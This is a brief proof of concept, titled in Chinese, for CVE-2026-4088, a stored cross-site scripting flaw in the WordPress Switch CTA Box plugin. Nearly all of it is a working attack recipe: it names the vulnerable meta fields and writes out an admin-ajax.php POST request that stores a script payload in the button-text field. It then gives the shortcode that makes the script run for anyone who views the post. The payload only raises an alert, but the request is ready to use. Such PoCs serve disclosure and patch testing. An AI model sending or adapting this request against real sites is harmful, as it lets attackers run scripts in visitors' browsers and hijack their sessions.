CVE-2026-4088: WordPress Switch CTA Box存储型XSS漏洞

/* * PoC for CVE-2026-4088 (Switch CTA Box Stored XSS) * Preconditions: Contributor access or higher * Vulnerable fields: cta_box_button_link, cta_box_button_id, cta_box_button_text, cta_box_description */ // Step 1: Attacker updates the post meta with a malicious payload // Target field: cta_box_button_text // Payload: "><script>alert('XSS')</script> POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-wordpress.com Content-Type: application/x-www-form-urlencoded action=update_meta&meta_key=cta_box_button_text&meta_value="><script>alert(1)</script>&post_id=1 // Step 2: Insert the shortcode into a post content [wppw_cta_box id=1] // Step 3: When a user views the post, the script executes.